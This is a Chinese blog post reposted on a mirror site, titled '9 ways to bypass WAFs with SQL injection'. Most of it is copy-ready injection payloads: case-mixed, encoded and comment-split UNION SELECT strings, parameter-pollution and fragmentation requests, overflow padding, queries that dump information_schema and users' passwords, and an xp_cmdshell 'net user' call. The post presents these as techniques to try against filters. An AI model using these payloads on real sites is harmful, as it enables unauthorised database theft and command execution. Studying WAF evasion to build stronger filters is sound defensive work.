zoukankan      html  css  js  c++  java
  • SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法

    0x01前言

    WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门。通过检查HTTP的流量,它可以防御Web应用安全漏洞,如阻止来自 SQL注入 跨站点脚本  XSS)、 文件包含和安全配置错误。

    0x02 WAF工作原理

    §  检测异常协议:拒绝不符合HTTP标准的请求

    §  增强型的输入验证:代理和服务器端验证,而不仅仅是客户端验证

    §  白名单和黑名单

    §  基于规则和异常的保护:基于规则的更多是基于黑色的机制和更灵活的异常

    §  状态管理:防御会话保护(Cookie保护,反入侵规避技术,响应监控和信息披露保护)

    0x03 绕过WAF

    1.混合的CaseChange恶意输入会触发WAF保护,如果WAF使用区分大小写的黑名单,则更改大小写可能会绕过该过滤器。

    http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

    2.替换关键字(插入将被WAF删除的特殊字符)---SELECT可能变为SEL <ECT,一旦删除特殊字符,它将用SELECT执行

    http://target.com/index.php?page_id=-15&nbsp;UNIunionON SELselectECT 1,2,3,4

    3.编码
    page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

    十六进制编码:

    target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

    Unicode 编码:

    ?id=10%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1

    4.在攻击字符串中使用注释-----插入注释。例如/ *SELECT * /可能会被WAF忽略,但传递给目标应用程序是由mysql数据库处理。

    index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

    'union%a0select pass from users#

    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… 

     5.等效函数和命令----由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码。

    hex()bin() ==> ascii()

    sleep() ==>benchmark()

    concat_ws()==>group_concat()

    substr((select 'password'),1,1) = 0x70

    strcmp(left('password',1), 0x69) = 1

    strcmp(left('password',1), 0x70) = 0

    strcmp(left('password',1), 0x71) = -1

    mid()substr() ==> substring()

    @@user ==> user()

    @@datadir ==> datadir() 

    5.特殊符号-----特殊符号具有特殊的含义和用法

    + ` symbol: select `version()`;

    + +- :select+id-1+1.from users;

    + @:select@^1.from users;

    +Mysql function() as xxx

    +`~!@%()[].-+ |%00

    Example:

    'se’+’lec’+’t’

    %S%E%L%E%C%T 1

    1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

    ' or --+2=- -!!!'2

    id=1+(UnI)(oN)+(SeL)(EcT)

    7.HTTP参数污染------提供多个parameter= value的值集来混淆绕过WAF。鉴于  http://example.com?id=1&?id='  '1'='1' - '在某些情况下(例如使用Apache / PHP),应用程序将仅解析最后一个(第二个) id = WAF只解析第一个id=。这似乎是一个合理的请求,但应用程序仍然接收并处理恶意输入。今天的大多数WAF都不容易受到HTTP参数污染(HPP)的影响,但仍然值得一试。

    HPPHTTP参数解析):

    /?id=1;select+1,2,3+from+users+where+id=1—

    /?id=1;select+1&amp;id=2,3+from+users+where+id=1—

    /?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users
    HPP也被称为重复参数污染,最简单的是:uid = 1uid = 2uid = 3,对于这种情况,不同的Web服务器处理如下:

    HPF
    HTTP参数分段):

    此方法是HTTP分段注入,与CRLF类似(使用控制字符%0a,%0d等执行换行符)

    /?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users--

    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

     HPCHTTP参数污染):
    RFC2396
    定义了以下字符:

    Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()

    Reserved : ; / ? : @ &amp; = + $ ,

    Unwise : { } | ^ [ ] `

    不同的Web服务器处理过程在构造特殊请求时有不同的逻辑:

    对于魔术字符%,Asp / Asp.net将受到影响

    8.缓冲区溢出---WAF始终是应用程序,容易受到与其他应用程序相同的软件缺陷的影响。如果出现缓冲区溢漏洞可能会导致WAF崩溃,即使它不会导致代码执行也可能会导致WAF正常运行。

    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    9. IntegrationIntegration意味着使用各种 bypass技术,单一技术可能无法绕过过滤机制,但使用各种技术混合可能性会增加很多。

    target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

    ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

    参考链接:https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/

     

    <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

  • 相关阅读:
    2021,6,10 xjzx 模拟考试
    平衡树(二)——Treap
    AtCoder Beginner Contest 204 A-E简要题解
    POJ 2311 Cutting Game 题解
    Codeforces 990G GCD Counting 题解
    NOI2021 SDPTT D2T1 我已经完全理解了 DFS 序线段树 题解
    第三届山东省青少年创意编程与智能设计大赛总结
    Luogu P6042 「ACOI2020」学园祭 题解
    联合省选2021 游记
    Codeforces 1498E Two Houses 题解 —— 如何用结论吊打标算
  • 原文地址:https://www.cnblogs.com/backlion/p/8622523.html
Copyright © 2011-2022 走看看